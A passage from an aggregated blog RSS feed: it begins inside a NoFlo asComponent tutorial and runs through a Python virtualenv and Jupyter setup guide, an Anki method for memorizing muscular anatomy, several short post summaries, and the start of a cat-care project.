&lt;p&gt;&lt;img alt="Math.random with custom icon" src="https://d2vqpl3tx84ay5.cloudfront.net/500x/ascomponent-custom-icon.png" /&gt;&lt;/p&gt;

&lt;h2 id="multiple-inputs"&gt;Multiple inputs&lt;/h2&gt;

&lt;p&gt;The example above was with a function that does not take any arguments. With functions that accept arguments, each of them becomes an input port.&lt;/p&gt;

&lt;div class="language-javascript highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;noflo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;noflo&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;findItemsWithId&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;noflo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;asComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;findItemsWithId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="asComponent and multiple inports" src="https://d2vqpl3tx84ay5.cloudfront.net/500x/ascomponent-multiple-inports.png" /&gt;&lt;/p&gt;

&lt;p&gt;The function will be called when both input ports have a packet available.&lt;/p&gt;

&lt;h2 id="output-handling"&gt;Output handling&lt;/h2&gt;

&lt;p&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;asComponent&lt;/code&gt; helper handles three types of functions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Regular synchronous functions: return value gets sent to &lt;code class="language-plaintext highlighter-rouge"&gt;out&lt;/code&gt;. Thrown errors get sent to &lt;code class="language-plaintext highlighter-rouge"&gt;error&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Functions returning a Promise: resolved promises get sent to &lt;code class="language-plaintext highlighter-rouge"&gt;out&lt;/code&gt;, rejected promises to &lt;code class="language-plaintext highlighter-rouge"&gt;error&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Functions taking a Node.js style asynchronous callback: &lt;code class="language-plaintext highlighter-rouge"&gt;err&lt;/code&gt; argument to callback gets sent to &lt;code class="language-plaintext highlighter-rouge"&gt;error&lt;/code&gt;, result gets sent to &lt;code class="language-plaintext highlighter-rouge"&gt;out&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With this, it is quite easy to write wrappers for asynchronous operations. For example, to call an external REST API with the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API"&gt;Fetch API&lt;/a&gt;:&lt;/p&gt;

&lt;div class="language-javascript highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;noflo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;noflo&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;getFlowhubStats&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://api.flowhub.io/stats&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;noflo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;asComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;getFlowhubStats&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;How that you have this component, it is quick to do a graph utilizing it (&lt;a href="https://app.flowhub.io/#github/bergie/flowhubstats"&gt;open in Flowhub&lt;/a&gt;):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://app.flowhub.io/#github/bergie/flowhubstats"&gt;&lt;img alt="Example graph with asynchronous asComponent" src="https://d2vqpl3tx84ay5.cloudfront.net/800x/ascomponent-fetch-graph.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we get the BODY element of the browser runtime. When that has been loaded, we trigger the fetch component above. If the request succeeds, we process it through a string template to write a quick report to the page. If it fails, we grab the error message and write that.&lt;/p&gt;

&lt;h2 id="making-the-components-discoverable"&gt;Making the components discoverable&lt;/h2&gt;

&lt;p&gt;The default location for a NoFlo component is &lt;code class="language-plaintext highlighter-rouge"&gt;components/ComponentName.js&lt;/code&gt; inside your project folder. Add your new components to this folder, and NoFlo will be able to run them.&lt;/p&gt;

&lt;p&gt;If you’re using &lt;a href="https://flowhub.io/ide"&gt;Flowhub&lt;/a&gt;, you can also write the components in the integrated code editor, and they will be sent to the runtime.&lt;/p&gt;

&lt;p&gt;We’ve already updated the hosted NoFlo browser runtime to 1.1, so you can get started with this new component API right away.&lt;/p&gt;

&lt;h2 id="advanced-components"&gt;Advanced components&lt;/h2&gt;

&lt;p&gt;In many ways, asComponent is the inverse of the &lt;a href="http://bergie.iki.fi/blog/ascallback/"&gt;asCallback embedding feature&lt;/a&gt; we introduced a year ago: &lt;code class="language-plaintext highlighter-rouge"&gt;asComponent&lt;/code&gt; turns a regular JavaScript function into a NoFlo component; &lt;code class="language-plaintext highlighter-rouge"&gt;asCallback&lt;/code&gt; turns a NoFlo component (or graph) into a regular JavaScript function.&lt;/p&gt;

&lt;p&gt;If you need to work with more complex firing patterns, like combining streams or having control ports, you can of course still write regular &lt;a href="https://noflojs.org/documentation/components/#component-api"&gt;Process API&lt;/a&gt; components.&lt;/p&gt;

&lt;p&gt;The regular component API is quite a bit more verbose, but at the same time gives you full access to NoFlo APIs for dealing with manually controlled preconditions, state management, and creating &lt;a href="https://noflojs.org/documentation/components/#generator-components"&gt;generators&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;However, thinking about the hundreds of NoFlo components out there, most of them could be written much more simply with &lt;code class="language-plaintext highlighter-rouge"&gt;asComponent&lt;/code&gt;. This will hopefully make the process of developing NoFlo programs a lot more straightforward.&lt;/p&gt;

&lt;p&gt;Read more &lt;a href="https://noflojs.org/documentation/components/"&gt;NoFlo component documentation&lt;/a&gt; and &lt;a href="https://noflojs.org/api/AsComponent/"&gt;asComponent API docs&lt;/a&gt;.&lt;/p&gt;</description><author>Henri Bergius</author><pubDate>Fri, 23 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bergie.iki.fi/blog/ascomponent/</guid></item><item><title>Setting up a new Python virtual environment for Jupyter notebooks</title><link>https://sean.lane.sh/posts/2018/02/Setting-up-a-new-Python-virtual-environment-for-Jupyter-notebooks/</link><description>&lt;p&gt;A lot of my lab work and course work involved the use of Jupyter notebooks, though the Python dependencies needed conflict with other areas. I&amp;rsquo;ve been using &lt;a href="https://virtualenvwrapper.readthedocs.io/en/latest/"&gt;virtualenvwrapper&lt;/a&gt; to isolate these, and other project, environments from each other. This post goes through the process of installing everything needed to get up and running with a clean Python environment for Jupyter notebooks with separate kernels for each environment, including the installation of &lt;code&gt;jupyter_contrib_nbextensions&lt;/code&gt; which adds community developed features.&lt;/p&gt;
&lt;h2 id="initial-setup"&gt;Initial setup&lt;/h2&gt;
&lt;p&gt;This only needs to be done once on your machine/user account, in order to get the building blocks in place for creating an indefinite amount of virtual environments for Python. First, you should install a suitable copy of Python on your machine. For macOS, I recommend using the &lt;a href="https://brew.sh"&gt;Homebrew&lt;/a&gt; package manager (installation instructions at the link), then install Python. Note that I&amp;rsquo;m using Python 3 since Python 2 will be end-of-life&amp;rsquo;d come the year 2020, but if you&amp;rsquo;re on macOS consider installing Python 2 via Homebrew as well, since the system copy seems to be antiquated. Anyways, to install on mac via Homebrew:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ brew install python3  # Follow any instructions given here from the output
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In Ubuntu/Debian based systems:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ sudo apt-get install python3 python3-pip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On Arch Linux based systems:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ pacman -S python-virtualenvwrapper 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, assuming Python 3 and &lt;code&gt;pip&lt;/code&gt; are both installed, install &lt;code&gt;virtualenvwrapper&lt;/code&gt; and modify your shell start up file according to these instructions: &lt;a href="https://virtualenvwrapper.readthedocs.io/en/latest/install.html"&gt;Install &lt;code&gt;virtualenvwrapper&lt;/code&gt;&lt;/a&gt;. I do the following for my system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-gdscript3"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;$&lt;/span&gt; sudo pip install virtualenvwrapper
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;$&lt;/span&gt; echo &lt;span style="color: #e6db74;"&gt;"export WORKON_HOME=$HOME/.virtualenvs"&lt;/span&gt; &lt;span style="color: #f92672;"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color: #f92672;"&gt;$&lt;/span&gt;HOME&lt;span style="color: #f92672;"&gt;/.&lt;/span&gt;profile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;$&lt;/span&gt; echo &lt;span style="color: #e6db74;"&gt;"source /usr/local/bin/virtualenvwrapper.sh"&lt;/span&gt; &lt;span style="color: #f92672;"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;" &amp;gt;&amp;gt; $HOME/.profile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;$&lt;/span&gt; source &lt;span style="color: #f92672;"&gt;~/.&lt;/span&gt;profile
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="creating-new-virtual-environments"&gt;Creating new virtual environments&lt;/h2&gt;
&lt;p&gt;Now every time you need to create a new environment, use the following as an example. My example virtualenv will be named &lt;code&gt;example&lt;/code&gt;, we&amp;rsquo;ll install Jupyter and any other dependencies, and we&amp;rsquo;ll add a line to &lt;code&gt;$VIRTUAL_ENV/bin/postactivate&lt;/code&gt; so that when activating the environment, our current working directory will be switched to our project directory &lt;code&gt;~/path/to/example/code&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ mkvirtualenv example -p python3 # Note we specify which interpreter to use
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(example) $ echo "cd $HOME/path/to/example/code" &amp;gt;&amp;gt; $VIRTUAL_ENV/bin/postactivate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(example) $ pip install ipykernel
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(example) $ pip install jupyter_contrib_nbextensions
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(example) $ jupyter contrib nbextension install --sys-prefix  # Kinda important
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(example) $ pip install jupyter_nbextensions_configurator
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(example) $ jupyter nbextensions_configurator enable --sys-prefix
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(example) $ python -m ipykernel install --user --name=example
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(example) $ pip install &amp;lt;anything-else-you-want&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note that after creating the virtualenv &lt;code&gt;example&lt;/code&gt;, the environment is automatically activated (which you can tell by the &lt;code&gt;(example)&lt;/code&gt; prefix in your terminal as well as by running &lt;code&gt;which python&lt;/code&gt;, which should output a path to the Python interpreter belonging to the environment). When activated, any calls to &lt;code&gt;python&lt;/code&gt; use the environment&amp;rsquo;s Python interpreter as well as &lt;code&gt;pip&lt;/code&gt;, which is why we didn&amp;rsquo;t have to call &lt;code&gt;pip3&lt;/code&gt; instead of &lt;code&gt;pip&lt;/code&gt;. Note that for installing &lt;code&gt;jupyter contrib nbextension&lt;/code&gt; and &lt;code&gt;jupyter nbextensions_configurator&lt;/code&gt;, we used the option &lt;code&gt;--sys-prefix&lt;/code&gt; which configures these extensions for use in the virtual environment and not the global system enviroment, which is what we&amp;rsquo;re trying to isolate ourselves from.&lt;/p&gt;</description><author>Posts on Sean Lane</author><pubDate>Fri, 23 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2018/02/Setting-up-a-new-Python-virtual-environment-for-Jupyter-notebooks/</guid></item><item><title>Management of the CruzDB database catalog</title><link>https://makedist.com/posts/2018/02/22/management-of-the-cruzdb-database-catalog/</link><description>Taking the CruzDB data model beyond a simple, flat key space.</description><author>Noah Watkins</author><pubDate>Thu, 22 Feb 2018 10:00:01 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2018/02/22/management-of-the-cruzdb-database-catalog/</guid></item><item><title>How CruzDB manages transaction afterimages</title><link>https://makedist.com/posts/2018/02/22/how-cruzdb-manages-transaction-afterimages/</link><description>Increasing transaction throughput by writing database snapshots in parallel.</description><author>Noah Watkins</author><pubDate>Thu, 22 Feb 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2018/02/22/how-cruzdb-manages-transaction-afterimages/</guid></item><item><title>Learning Muscular Anatomy</title><link>https://johnj.com/posts/learning-muscular-anatomy/</link><description>&lt;figure&gt;





&lt;a href="https://johnj.com/muscle-overlay.png"&gt;&lt;img class="resize" src="https://johnj.com/muscle-overlay_hu_64b74dab7055c860.png" style="width: 500px; border: 0px solid black;" /&gt;&lt;/a&gt;


&lt;figcaption&gt;
Skeleton and muscle overlay study (underlying photo by &lt;a href="https://www.flickr.com/photos/pixiduc/"&gt;Pixiduc&lt;/a&gt;)
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;
A knowledge of the human form is vital for figurative artists. A
detailed understanding of anatomy is especially helpful when working
from life or constructing the figure from imagination.&lt;/p&gt;
&lt;p&gt;
Various approaches have been taken to learning artistic anatomy.
While I'd rather not rob graveyards and &lt;a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3361109/"&gt;do my own dissections&lt;/a&gt;, there
are, fortunately, excellent anatomy books[1] available for the artist.&lt;/p&gt;
&lt;p&gt;
I have found the muscles harder to learn than the skeleton, so I
developed the method outlined here, which involves reading, data
entry, and memorization.  Other methods include drawing muscles on
tracing paper over figure drawings or photographs, or sculpting
muscles atop a pre-formed skeleton.  This practice supplements, but
does not replace, those other methods.&lt;/p&gt;
&lt;p&gt;
A few key facts can be helpful to learn, for each of the important
muscles (&amp;lt; 100 of them, roughly):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Muscle name&lt;/li&gt;
&lt;li&gt;Origin of muscle (attachment point, stationary during contraction)&lt;/li&gt;
&lt;li&gt;Insertion of muscle (attachment point, moves during contraction)&lt;/li&gt;
&lt;li&gt;Function: what the muscle does&lt;/li&gt;
&lt;li&gt;What the muscle overlaps&lt;/li&gt;
&lt;li&gt;What the muscle is overlapped by.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These last two points can be helpful in constructing a mental
model of the muscular forms and of the entire form they help to
create.&lt;/p&gt;
&lt;p&gt;
I use the &lt;a href="https://apps.ankiweb.net/"&gt;Anki&lt;/a&gt; flash card system as a tool for memorization.  Anki
uses a carefully designed model to set the timing of when you see
individual cards, showing you ones you got wrong sooner, and gradually
showing them less and less often as you learn.&lt;/p&gt;
&lt;p&gt;
For all the muscles you want to study, you can enter these key facts
into a table, and then export the table into flashcards. The original
Org file can be kept in Git under source control and shared with
others, and presents a convenient overview of the entire corpus of
data.  Merely entering the data in the first place starts the
memorization, and then each table field can be paired with the muscle
name both "forwards" and "backwards" (fact-&amp;gt;muscle and muscle-&amp;gt;fact)
as separate flashcards.  Thus, for, say, 100 muscle names and the
associated five facts per muscle, one has 100 x 5 x 2 = 1,000
flashcards.&lt;/p&gt;
&lt;figure&gt;





&lt;a href="https://johnj.com/anatomy-table-example.png"&gt;&lt;img class="resize" src="https://johnj.com/anatomy-table-example_hu_d18d509fdf34fd34.png" style="width: 700px; border: 0px solid black;" /&gt;&lt;/a&gt;


&lt;figcaption&gt;
Example table in Org Mode
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;
There are Anki decks for muscular anatomy already available, but they
tend to be large in size and have a medical rather than artistic
context; also, finding and summarizing the information required to
create the cards helps me learn.&lt;/p&gt;
&lt;p&gt;
I wrote &lt;a href="https://github.com/eigenhombre/anatomy/blob/master/src/anatomy/core.clj"&gt;a tiny Clojure program&lt;/a&gt; (&lt;a href="https://github.com/eigenhombre/anatomy/blob/master/src/anatomy/core.clj"&gt;GitHub repository here&lt;/a&gt;) to facilitate exporting the Org
data into Anki, which accepts tab-separated lines.  I run it whenever
I add new muscles into my table.&lt;/p&gt;
&lt;p&gt;
Since Anki synchronizes with my phone, I can review whenever I have a
short break.  If I enter a few muscles a week, the data entry should
roughly keep up with my memorization practice, and will then have all
the relevant muscles memorized in well under a year with minimal daily
effort… perhaps five minutes per day.&lt;/p&gt;
&lt;div class="outline-3" id="outline-container-headline-1"&gt;
&lt;h3 id="headline-1"&gt;
Sample program output
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-1"&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ lein run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Function of Sartorius	flexes, weakly abducts, rotates upper leg; flexes and medially \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rotates lower leg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Muscle w/ function flexes, weakly abducts, rotates upper leg; flexes and medially \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rotates lower leg	Sartorius
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Origin of Sartorius	Just below tip of ASIS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Muscle with origin 'Just below tip of ASIS'	Sartorius
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Insertion of Sartorius	Pes anserinus, on tibia
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Muscle with insertion 'Pes anserinus, on tibia'	Sartorius
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sartorius overlaps...	Gracilis, Rectus Femoris, Vastus Medialis, Adductor Longus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Gracilis, Rectus Femoris, Vastus Medialis, Adductor Longus are overlapped by...	Sartorius
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Function of Deltoid	flex arm forward, abducts outward, pulls backward
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Muscle w/ function flex arm forward, abducts outward, pulls backward	Deltoid
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Origin of Deltoid	lateral 1/3 of clavicle, acromion process, spine of scapula
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
… and a sample flash card (top portion only is shown initially, with the
answer below shown after a tap or keypress):&lt;/p&gt;
&lt;figure&gt;





&lt;a href="https://johnj.com/anki-example.png"&gt;&lt;img class="resize" src="https://johnj.com/anki-example_hu_9da427f3d62a872e.png" style="width: 500px; border: 0px solid black;" /&gt;&lt;/a&gt;


&lt;figcaption&gt;
Example Anki flash card
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-3" id="outline-container-headline-2"&gt;
&lt;h3 id="headline-2"&gt;
Workflow
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-2"&gt;
&lt;ol&gt;
&lt;li&gt;Clone &lt;a href="https://github.com/eigenhombre/anatomy/blob/master/src/anatomy/core.clj"&gt;the GitHub repository&lt;/a&gt; and &lt;code class="verbatim"&gt;cd&lt;/code&gt; to the new directory;&lt;/li&gt;
&lt;li&gt;Edit &lt;code class="verbatim"&gt;resources/muscle-structure.org&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Export Org file to CSV (&lt;code class="verbatim"&gt;org-table-export&lt;/code&gt;) in the same directory;&lt;/li&gt;
&lt;li&gt;Run the program and save the output: &lt;code class="verbatim"&gt;lein run &amp;gt; cards.txt&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Import &lt;code class="verbatim"&gt;cards.txt&lt;/code&gt; (removing any previously-imported entries first) into Anki;&lt;/li&gt;
&lt;li&gt;Memorize away!&lt;/li&gt;
&lt;li&gt;Repeat as new muscles are added.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-3" id="outline-container-headline-3"&gt;
&lt;h3 id="headline-3"&gt;
Conclusion
&lt;/h3&gt;
&lt;div class="outline-text-3" id="outline-text-headline-3"&gt;
&lt;p&gt;
After a few weeks of minimal effort (a lot less than &lt;a href="./daily-composition-lessons-learned.html"&gt;my previous
year-long project&lt;/a&gt;), I've added half a dozen or so muscles so far and
have them pretty well down.  Since the overlapping forms are included,
one starts to flesh out one's three-dimensional understanding of the
figure from the outset.  (I recommend starting with the largest
muscles first if you're not as familiar with them – e.g. pectoralis,
gluteus maximum, rectus abdominis, etc.). This method is a bit
personal, Emacs, Org Mode, Clojure, etc. not being standard artists'
tools, but could be adapted to e.g. Excel or CSV files, or other
programming languages, with minimal effort.&lt;/p&gt;
&lt;p&gt;
[1] See, for example, &lt;em&gt;Human Anatomy for Artists: The Elements of Form&lt;/em&gt; by Elliot Goldfinger.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>John Jacobsen</author><pubDate>Thu, 22 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://johnj.com/posts/learning-muscular-anatomy/</guid></item><item><title>Principles: Life and Work</title><link>https://olshansky.info/book/principles/</link><description>Olshansky's review of Principles: Life and Work by Ray Dalio</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 22 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/principles/</guid></item><item><title>The intrinsic dumbness of connected cars, part 2</title><link>https://stop.zona-m.net/2018/02/the-intrinsic-dumbness-of-connected-cars-part-2/</link><description>&lt;p&gt;Picture this: you&amp;rsquo;re driving home from work, doing something completely useless.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 21 Feb 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/the-intrinsic-dumbness-of-connected-cars-part-2/</guid></item><item><title>Please STOP demanding (self) regulation of Facebook, INSTEAD of turning it into a...</title><link>https://stop.zona-m.net/2018/02/please-stop-demanding-self-regulation-of-facebook-instead-of-turning-it-into-a.../</link><description>&lt;p&gt;Today, a former Washington Post publisher and Facebook board member rightly opposed requests &amp;ldquo;for the regulation of big technology companies&amp;rdquo;&amp;hellip; but omitting a crucial point.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Wed, 21 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/please-stop-demanding-self-regulation-of-facebook-instead-of-turning-it-into-a.../</guid></item><item><title>A Few More of my Favorite Things</title><link>https://xavd.id/blog/post/a-few-more-favorites/</link><description>A look back at some of my favorite media in 2017&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/a-few-more-favorites/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Wed, 21 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/a-few-more-favorites/</guid></item><item><title>Developer platforms must listen to developers in order to grow</title><link>https://ilearnt.com/blog/developerplatforms/</link><description>&lt;p&gt;This is an excellent study on why developers are so important to a platform. At the moment we are developing a platform and we have been trying to get this message across to the business side of the company. This article backs up what we have been saying.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 20 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/developerplatforms/</guid></item><item><title>pet project – litterally – [rasperry &amp;amp; cats]</title><link>https://yasha.solutions/pet-project-litterally-rasperry-cats/</link><description>Pet project – literally – as the kids want a cat – and we are ok – just we need a solution for when we travel and are not home for a few days up to 10 days max.
So we need to get the cat to be able to eat and to take care of its basic needs without destroying the flat.
Here is what I found:
